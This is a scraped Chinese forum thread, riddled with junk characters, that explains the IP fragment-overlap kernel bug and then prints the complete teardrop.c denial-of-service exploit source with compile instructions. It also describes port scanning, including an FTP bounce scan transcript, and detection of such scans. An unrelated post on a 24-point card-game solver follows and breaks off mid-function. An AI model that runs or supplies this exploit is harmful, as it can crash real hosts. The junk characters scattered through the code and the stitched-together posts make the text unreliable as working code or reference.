7 h2 i7 ?3 m. H- l) Wptr += i; /* ptr into fragment data */0 V; g* C8 k: K5 Y6 \  y. R
}</P><P>/* Fill in the structure. */1 z7 x& ~  e" g% h1 O
fp-&gt;offset = offset;
4 G8 |" n2 C% \' e5 Sfp-&gt;end = end;
. \; c4 d5 O2 P% p1 z! W8 I# ufp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:* b: \$ I+ X5 q8 }. G
第一个碎片:mf=1 offset=0 payload=20: y' a5 b5 J- t  C; Y4 N
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
9 J0 N6 c6 O3 b/ A% Doffset=0
% v$ I2 n% G% n4 @5 A8 G) q8 \这样第二个碎片的 end=9+10=19, N( ?1 U  K; j; u
offset=offset+(20-offset)=20
5 g1 @0 ]4 q. `/ b8 u. ^9 d4 jfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
2 \1 d: ?! _: F. G/ Q9 e/*
3 O/ w# c. Z3 i& A0 T8 \* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
4 W* G/ o: R* H) R- @*
& M% S0 D, o- q8 |' u* Linux/NT/95 Overlap frag bug exploit
2 O+ X" ?. v6 M1 R*
' z. E, w" r- {% M+ B7 U* Exploits the overlapping IP fragment bug present in all Linux kernels and
" g' G8 `7 ^% B2 F. d* NT 4.0 / Windows 95 (others?)3 q4 M' Q. q8 }$ I/ w2 }! t
*
% k" W1 c' i6 l& ?" U* Based off of: flip.c by klepto" S! k  @  O& L3 |5 u2 O! N
* Compiles on: Linux, *BSD*9 E: B/ h- C9 l
*
8 W2 S; w- P0 [$ n% \3 h* gcc -O2 teardrop.c -o teardrop
: }- v# r1 _+ R- G* OR: `# Y& s, Z3 T" a9 o  W- K+ Y4 x
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
8 m/ G- _, Z6 \1 @*/</P><P>#include <STDIO.H>
; x7 N, N8 V* z. w/ [& x# B) f% t#include <STDLIB.H>7 [5 i. k3 ?1 [% B+ s! c
#include <UNISTD.H>4 n# Z7 d' h% F3 P0 K: d4 K% r
#include <STRING.H>
0 y: a$ a/ v9 d& R+ {# P2 A- f#include <NETDB.H>
4 u1 C) S* Y! {* ^: }% i$ C& x#include <NETINET in.h>9 r9 {8 w9 Q) T
#include <NETINET udp.h>! e, K4 g8 E( ?8 W$ _5 W$ n5 Q7 T
#include <ARPA inet.h>- ~% a8 m! z5 c8 V/ s, C
#include <SYS types.h>
3 M% R# r  V' Q6 M: f; L2 B#include <SYS time.h>
* z+ x  u! r( w. P, y#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
0 L6 P' g4 w2 O. a* ~/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
6 b8 m, k9 R! |! c7 M6 e+ F! B0 V#define FIX(n) (n)
+ R2 ]# Z0 h0 H#else /* OpenBSD 2.1, all Linux */( @% t0 X; f9 t
#define FIX(n) htons(n)( C9 b. [* m8 H/ A( J6 E
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */- w* \0 c( z9 U8 a
#define IPH 0x14 /* IP header size */
. f+ B1 [% M# i6 ~#define UDPH 0x8 /* UDP header size */
9 S  B: X, O4 L2 T; v* d#define PADDING 0x1c /* datagram frame padding for first packet */8 u) [, ~3 q" B4 {+ C
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */3 I2 g" d% i4 R9 ^
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can$ p& b! _: `1 O/ K
* withstand maybe 5 or 10 sometimes... Experiment.
. R5 l  D8 ]& J. B* O- W# A*/</P><P>void usage(u_char *);- h+ ^# t* E4 ]7 \
u_long name_resolve(u_char *);( o# }5 r4 U4 d8 n
u_short in_cksum(u_short *, int);! i+ n) G* t, p. u1 \! ?
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)- X+ w( D5 Y% g* l* H
{
9 ~9 }4 p; w# t& E0 z7 C/ hint one = 1, / P7 l0 w1 [* J
count = 0, 7 j/ a. x+ G/ P6 g) Q0 B1 z  O3 C
i,
& j# }1 N7 s4 Qrip_sock;7 K3 Y7 `" ~- I- N' E8 K
u_long src_ip = 0, dst_ip = 0;
2 o* ]0 @! |  g5 U. q% q- Tu_short src_prt = 0, dst_prt = 0;( M) U4 D3 y" V6 ^4 A+ ?) F* e; O( m
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW- A6 L% C) F$ W8 w  g6 q
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
/ ]. @* |$ {- C# P7 X* Z  K. Z{. U4 F* {$ y' H. m
perror("raw socket");
1 n1 a7 U1 a0 Y6 K1 J' lexit(1);
* s5 [0 ?& m* |( f/ |}
) D& A" f" [2 X( [! E, v0 z& X* N//由系统处理IP校验和。
7 |& G8 ~$ f7 Q+ O. I- w6 aif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
9 h  o1 f+ Q7 H) L: v' O&lt; 0)
! \; c; W$ ?: ?' Y9 i{2 t6 k/ c; L+ Z6 f
perror("IP_HDRINCL");' c! V) u& j3 m2 W( R# F3 Q5 G
exit(1);
/ B( x( m7 P# R9 ~}</P><P>if (argc &lt; 3) usage(argv[0]);! u, O' d8 q7 P4 m1 z# P
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))), U% {( a) p' `; J
{
4 H/ O  W. P% Jfprintf(stderr, "What the hell kind of IP address is that?\n");7 b" x- L) d# q) E4 \
exit(1);
, _- w4 H3 f. A1 _" R9 C& W. n; T}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)% b& i: L: f7 V- p. C2 \5 h
{, z/ N, i5 h3 b# C
switch (i)6 `2 u9 p2 n' H, @  f
{- }! ?" b7 k) h2 l& O  Y
case 's': /* source port (should be emphemeral) */
4 F9 P$ v6 b6 Ssrc_prt = (u_short)atoi(optarg);7 \2 T6 t1 r. }- F
break;
" V/ F/ a% G% L6 [; H/ kcase 't': /* dest port (DNS, anyone?) */
% v" |. j- {: J( Fdst_prt = (u_short)atoi(optarg);/ t2 E- N9 A: U: A$ ^5 i
break;
: V8 Q% `. Z3 U3 y& Tcase 'n': /* number to send */# X$ s  \* v6 }' S' U/ A8 I; S
count = atoi(optarg);
# f4 U  P7 \6 D5 |3 rbreak;
& Z! @% P( z: a2 Tdefault :
0 X5 r/ j6 U9 Y/ y2 [2 Xusage(argv[0]);" U. Z3 P7 w( ?2 p8 m/ [! [
break; /* NOTREACHED */
0 x4 d' O2 M$ j' ^  l, e}
* \& |4 B1 x! P}</P><P>srandom((unsigned)(time((time_t)0)));
# _' I) s3 x* D- Y7 gif (!src_prt) src_prt = (random() % 0xffff);
: t) V% R! H1 dif (!dst_prt) dst_prt = (random() % 0xffff);# [1 {* c8 C% c6 N0 B% \; I
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
0 [' [! _' n# v" ?2 ]9 Taddr.s_addr = src_ip;) s  p: N' y; L! x+ v1 s
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);; s/ c- n- B0 L8 ~. W- }0 q
addr.s_addr = dst_ip;; L6 b' P1 Q& ?1 p( w) b
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);0 ?9 b2 g. e; ]  w8 c
fprintf(stderr, " Amt: %5d\n", count);
/ E- B( l. n$ }: Mfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++): x. B. M% ~5 X$ j
{
: L5 q; H1 R! E2 m& V/ xsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);& P. [! e9 I4 h$ R/ F  x
fprintf(stderr, "b00m ");
$ T' L# q/ d! musleep(500);
. V5 j2 }: z) u7 n8 N# h}- \6 {  B2 O* D5 Z* g0 ^! H
fprintf(stderr, "]\n");
+ k! r! \9 Y: a4 G8 Dreturn (0);
( h# g' s, F+ f6 \' {$ `8 ?}</P><P>/*
$ Q  X, Y# k$ x1 z" ~# i* Send two IP fragments with pathological offsets. We use an implementation
" o( I7 k. z$ ^' I: i+ e* independent way of assembling network packets that does not rely on any of
; B3 X% a- W( M9 n: v. v* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
, h7 L, u0 M5 h' }7 E*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
* e9 @+ F8 Q! N+ y' I) ?u_short dst_prt)) g+ F& D. T$ r8 v& w. s& ]  X; O
{. N  s- t5 n4 p9 s. m% t' t
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
- t. R& ~/ |0 e% P! E2 K7 F" M  au_char byte; /* a byte */
- k$ s6 t- N' Y' _$ Y  F0 q6 Q1 Estruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
7 u  w' k% _! |: W( \% J7 `sin.sin_port = src_prt;
- L9 S0 x4 \5 e) |" Usin.sin_addr.s_addr = dst_ip;</P><P>/*4 @- L* ]9 F/ i, o
* Grab some memory for our packet, align p_ptr to point at the beginning2 D* a8 [1 @5 |
* of our packet, and then fill it with zeros.) l+ K1 a, j" ?  _! I0 O. X/ n
*/) ^& e3 y: G: j
packet = (u_char *)malloc(IPH + UDPH + PADDING);8 q1 z$ [  j6 \& t( a+ f; E* J7 C  t; `4 C
p_ptr = packet;% O) `$ l) F, s0 I5 Y2 L
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
' Z. `! R$ [6 Kmemcpy(p_ptr, &amp;byte, sizeof(u_char));
' \8 R. x  W  u% ~' N& Z" Xp_ptr += 2; /* IP TOS (skipped) */
- y# \& U2 A5 [' j7 `  J*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
# [8 A' S% T( P% J' w+ \" zp_ptr += 2;+ I! b$ r; X$ K1 X5 u4 F
*((u_short *)p_ptr) = htons(242); /* IP id */4 d. x0 v7 P5 D( J* x
p_ptr += 2;
6 O1 u- [9 F; ~, t7 h. k*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
$ M- @) I* X$ A. R% X+ Dp_ptr += 2;$ ~9 ^6 D6 R: V& i
*((u_short *)p_ptr) = 0x40; /* IP TTL */
3 l$ j* W& I/ a- \byte = IPPROTO_UDP;! f& ?9 {+ q8 f, b$ |0 T
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
( e) G' Y5 \+ O# p8 hp_ptr += 4; /* IP checksum filled in by kernel */
- y; R3 ^  @0 j( G; C9 T* N$ O- ^' U$ g" K# H*((u_long *)p_ptr) = src_ip; /* IP source address */
1 q+ \* N. `" b2 l9 b$ O3 pp_ptr += 4;5 Y: O* U2 H! |* a: `" W  }, q: ~
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
" I7 I; `/ X& b; z5 V$ B% ~p_ptr += 4;
; b9 o; k* o( G, k5 w4 K*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
. \1 l1 r2 j. h# Lp_ptr += 2;1 `7 C0 a' M% T4 ~
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */: x9 l# D$ R- x9 p( O. ~
p_ptr += 2;( q! k3 ]- O. B2 x) \6 \/ j( n
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
! [+ E# y" A# d' Rsizeof(struct sockaddr)) == -1)
2 E$ p! a: L2 r{
) H9 Y6 I1 d$ Z$ `perror("\nsendto");
* }2 j; a) m9 W9 h6 cfree(packet);; R- Q: ?. W; r* A
exit(1);5 ~: Q. b7 ^# E3 o- B- q* v% s
}</P><P>/* We set the fragment offset to be inside of the previous packet's9 Q& r: Q( C9 u1 w6 h' a
* payload (it overlaps inside the previous packet) but do not include
# t- J4 y9 }3 Q. `9 n  b5 f, B) x$ m* enough payload to cover complete the datagram. Just the header will( N9 I1 R/ U4 r/ |- T4 a9 f
* do, but to crash NT/95 machines, a bit larger of packet seems to work5 Q% T% F1 {; {- [2 r. n2 E
* better.9 O) B  q' c2 {" y# ]0 ?+ |. X
*/. Z: B2 }* F( u( a: d6 W) t% R
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
! @: q/ _+ u/ B/ W, l2 g7 T" ]*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
/ A. C) W0 V, X( H0 v1 vp_ptr += 4; /* IP offset is 6 bytes into the header */$ X+ V8 A/ n& {' s  X9 i
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
- l2 k5 l1 b0 h8 Z0 ?: H/ Isizeof(struct sockaddr)) == -1): R, X+ E8 L, g" j2 m( n( o% g
{- l( J7 z; }/ `: R5 ^
perror("\nsendto");0 ~# S" i# i, M; K8 c# H8 U
free(packet);! ?6 L; M) u; ?
exit(1);$ a2 K3 ^0 b: b& G& {  r9 e
}
" z' E( x! D4 Bfree(packet);% s6 s& t# M$ U$ W' `- a
}</P><P>u_long name_resolve(u_char *host_name)- q/ `1 @$ g' O% V2 Z% l
{
- r  r  u: B: @! B) ystruct in_addr addr;% t* k; A! t7 Z  x
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
" O1 L4 u( }) ^9 \0 v3 G{5 v$ `' R6 d* ^- n) U" |
if (!(host_ent = gethostbyname(host_name))) return (0);
8 U7 R& ?( Z9 N$ Z3 Ybcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
% f3 ~: R( F8 h$ _2 }}
0 W$ S! s0 {+ h5 a( h2 b& oreturn (addr.s_addr);
) M( P) Q7 ?# W2 i! u+ F4 f}</P><P>void usage(u_char *name)" f* s/ R" f6 B1 M. D6 G' F
{. V- D, z  k3 O$ _+ O4 [$ c( T
fprintf(stderr,* @$ u, t  d) h2 k, O3 q- W
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
7 e  r) _: d3 u$ d$ K7 gname);. B& t6 c4 E+ H9 Y- V4 p  _: E( q9 J
exit(0);
2 I' G' D3 }+ ~) i0 z}</P><P>. U* ~: `& ]7 _1 }& F1 B& U* I7 y( p. z
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 4 N' X$ |0 \: l+ k1 a
(1) Half-open(半打开)
5 B8 W) {( W8 O* }! B/ R利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),+ Y* \# c" r, ?
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
- y9 P& @' ]; Y& \利用了FTP的port命令,例如可以这样作:
0 M( p) D8 N/ q) c2 o0 E选择一个FTP服务器,连上后令port命令指向目标机,如果返回
8 l4 y4 m+ |& c$ K* c值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
% O" u5 l1 A* W. t9 g# h8 m. j该端口无服务。
' {" b$ j7 `/ `) xtelnet 192.168.1.13 211 i6 i0 R, U  L) e
Trying 192.168.1.13...
9 P, B$ R3 ^/ Y! HConnected to pp.bricks.org.
. S- `7 B$ `3 AEscape character is '^]'.6 t: T- S3 q  M  D0 v% l" a
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) : ~+ i% ~' r  ?0 n) g! U6 U
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
& q. A) x; g1 h331 Guest login ok, send your complete e-mail address as password.
% Q- O3 m0 h( P3 ~pass aa@aa.aa  x: ]# S. z3 m( h7 J6 q) k
230 Guest login ok, access restrictions apply.' f. O* @7 x& D, ?- b7 j$ a4 ?
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
6 I" @0 C& w9 [% y: x/ ?425 Can't build data connection: Connection refused.
% i9 _; G9 L: i$ r: ^//该端口未活动
! k6 j, i1 ?% u- ]150 Opening ASCII mode data connection for file list." [) G( }' I3 l1 g  p* S! H
226 Transfer complete.
4 D+ H& ?" X: ]0 W//该端口活动中
, y5 o, X- R  [1 v* d: \& C) x但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
9 Z/ Y6 U/ K& f9 gSYN|FIN ACK or SYN|ACK* RST
  j0 ]6 ^; e, nACK Nothing RST3 f( D/ c5 b) u6 q& O0 r
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
* ]; G; Z/ q: L  T& w! H- w9 p一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,7 c3 W+ R. R" d) k6 k' ^" H0 W2 b  x
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认! r2 r; G% W9 W% {5 S% D( A. p
定它在向你做portscan。</P><P>notes:) j, t* z+ Z! g% ?, G  K
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
0 d, z3 {# K/ R; v; k* {1 R$ V而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的! u: q* n3 r( N" o! K
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>+ _% R* y0 \3 H3 |6 M  U) J9 R! D
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
9 F- f$ L3 h9 C6 z6 A8 i" B5 Z: d9 W- e$ I" }
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
; N" T( r0 K3 S  c首先穷举的可行性问题。我把表达式如下分成三类——+ |" Y0 H  J# _0 Z
<FONT color=#ff0000>1、 无括号的简单表达式。
" \0 l3 W: Y  |* W2、 有一个括号的简单表达式。: ~- ?+ ]  k5 e5 m  P7 O# u
3、 有两个括号的较复4、 杂表达式。
. Z2 E8 d# ^  b8 [( f5 G</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
/ U- @) {0 |3 V1 v7 K& a<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
+ I% g: }* x# M/* c[] 存放四张牌的数组 */
1 K  k# e1 F% D4 w. P% Q: t/* k[] c[]种四张牌的代号,其中k[I]=I+1。
; R, G, f8 G* b5 w* l2 a用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */+ i5 K; i3 ?- m! z* M
/* kans[] 暂存生成的排列组合 */
  c, o+ c; {$ A' W" r6 }# ]: R/* j 嵌套循环的次数 */5 V5 Q& s0 ]% z$ h# K4 i- P
int fans(c,k,ans,kans,j)
' Q$ V! [" |8 g# K# fint j,k[],c[];char ans[],kans[];
/ d* }' u+ V0 h# ]8 `{ int i,p,q,r,h,flag,s[4],t[4][4];: ?# j; N. h5 {8 @
for(p=0,q=0;p&lt;4;p++)9 `: v  E" i; _" u
{ for(r=0,flag=0;r<J;R++)
" l. H7 [/ C2 t; g3 V( W if(k[p]!=kans[r]) flag++;$ d) g* y5 R: W
if(flag==j) t[j][q++]=k[p];/ u$ S' \) e9 ]: V
}
/ K/ t: [' A$ G9 Zfor(s[j]=0;s[j]&lt;4-j;s[j]++)* y7 a! r% y) C9 h
{ kans[j]=t[j][s[j]];
6 D% D! D' t8 f/ v& W6 x* R. J& Zif(j==3) { for(h=0;h&lt;4;h++)' t$ F1 n6 f3 X- C. a* ^; j9 A
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表4 W: E3 S) E4 \3 D( {' f: F3 B
达式中的位置 */- v7 k2 w- \  x/ c9 v0 e- H8 X
for(h=0;h&lt;3;h++)
- A# z  x4 F1 m5 Y- I$ F0 qsymbol(ans,h); /* 在表达式中添加运算符号 */
7 g$ ^% q8 c0 Z* ?7 |}" O% r, B. D; ^; l& c5 C
else { j++;
7 T/ s- W! G3 c' }  o. v, E, _fans(c,k,ans,kans,j);
, S: N: L* h1 b+ C0 ij--;
. z8 |& R: Q: {- H" C# C* A}
6 n9 `# K6 T* N, z5 \}1 E- d$ z* o/ m1 Z- M* T! e  F6 o
}</FONT>
' i0 h* {% c) F# V# `5 W! k3 O) V! G9 \& x& z; @7 y* ~
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:" J; `1 ^9 L- G) I. n

( }+ I7 q8 X4 ^. X4 E<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
. o7 d3 k; m; S$ lint sans(ans,sy,j,h)3 Y2 c9 f; M: K6 }9 T# n) v
char ans[],sy[];int j,h;- H" y7 Z( F; x: Z* w: k
{ int i,p,k[3],m,n; char ktans[20];/ T: \& J& n: j- s8 v+ L5 M
for(k[j]=0;k[j]&lt;4;k[j]++)$ N+ m! i6 j: U! Q4 B8 G: H) P
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
$ X; M, g) i+ ~( r这里的三个运算符号分别存放在1、3、5位*/ 1 U1 g) |$ R3 |, G! B3 b1 ~  k
if(j==2)
$ l9 d: d: e8 u4 q/ K& m{ ans[5]=sy[k[j]];
# q+ |1 O2 l7 c1 a+ v/* 此处根据不同的表达式形式再进行相应的处理 */; Z( i% Q4 l7 x, m2 ~5 T* x+ K
}
7 T" o# |& Q4 x& @else { j++; sans(ans,sy,j--,h); }+ [( b/ ^1 K5 X' d
}
9 ]5 t! v) F7 B5 s- O$ X}7 F9 F( Y$ Y7 }
& f3 |- `0 m; l" u
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
( }6 Z6 r5 B9 I/ j" `for(m=0;m&lt;=4;m+=2)$ B2 v, G/ f, w5 x
for(n=m+4;n&lt;=8;n+=2). W: ]2 V* y- C6 Y
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
5 P% _: I9 v" Y/ w# u! W
* J7 [% \5 A1 B  B' d! B+ H$ \  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。2 j& c1 i7 v" E% F7 o$ Z
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。* @: w% {5 R1 ]' j. E$ [/ {
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
& B2 t3 [9 I5 g- ?+ O+ b
% @* f0 K; w) L9 w7 ~  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
' N9 R& z. c8 V; a/ h
) k  U5 Y; T3 s/ ]  那么作为栈的著名应用,表达式的计算可以有两种方法。4 @' _/ k0 a" l& s- J& `

- K& t+ Y1 @6 e; _) W! e1 h  <FONT color=#ff0000>第一种方法——</FONT>
2 ?# X* E4 o0 M# u  ?0 c" h  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
# R. X' g" `$ X, |6 d7 \) }  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:5 l: b( j" O( m3 }
1、 若W为操作数
) x7 z* F% }# e  c" R  @' Y4 X2、 则将W压入操作数栈OVS) N) j5 z  [1 H( q# d
3、 且继续扫描下一个字符
  \2 c0 r, i5 H- a# M/ L) n4 p4、 若W为运算符
) F$ Z# R, B' y" M$ G5、 则根据运算符的性质做相应的处理:
0 g' r8 `/ K0 x1 u! R% P(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。# h. D. n& D8 Q- ~( ^  y! {0 a
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
  {7 `6 K% w. g5 p' J7 U1 i3 Y(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
; }7 m2 P: J) D; F- d(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。# b6 Z+ {! d! B

5 I( A8 I* h+ C' Q2 C<FONT color=#ff0000>  第二种方法——</FONT>
- x6 L9 O6 {! L4 F" ?/ R  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。4 A2 ~# n* V- G* N
! \* C5 u6 o" w; V5 H' _+ r
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
+ D! A4 a/ X" w1 B& m- C: q/ M; \( |/ e! x. p* I( W9 q
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。' o2 f+ N' x: S$ |% `; g/ R! b
表达式 波兰表达式" V/ \, q3 P  j1 m% O* J
A-B AB-
( r  F% \8 S. m. v& T/ ~/ {( S( x" x(A-B)*C+D AB-C*D+
; d$ {2 T, R- o- o& ~  i9 s3 z7 KA*(B+C/D)-E*F ABCD/+*EF*-
) K1 q+ u7 I5 w  b: V, W% F7 \! K) C  Z(B+C)/(A-D) BC+AD-/
7 W0 s" t  x- W( }
# o  a- E4 g' L  `5 K  I  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
) X6 i  f+ Z: x; y2 U% i
, `% y+ K- P! ~' R/ w  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
. a7 {: I, n( V; g4 R
* H5 {- H) ^. B, o. U2 I  下面给出转换和计算的具体实现程序——, Y: I- s- s6 Q4 k0 y1 Y
& [$ H8 v3 A; F& U
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */) W" A. M) K0 y+ Q1 C
int first(char c)
! G) S0 b$ V# g6 ^2 \/ P{ int p;9 g: n) k; O% Z# G
switch(c)( m- b4 A( G4 o+ Z+ v5 j7 J2 O
{ case '*': p=2; break;
* H! B3 r: R; @' Hcase '/': p=2; break;  Z. Y2 n* c) h) U$ c2 Q2 E
case '+': p=1; break;' V% ^9 v* d, [7 X5 c* b/ V, P$ a
case '-': p=1; break;
0 U7 k. B% R; M5 |; \case '(': p=0; break;1 U- y# z; \; v& v* _, M8 \
case '=': p=-1; break;: t7 V- L% y7 `$ U6 l/ z
}
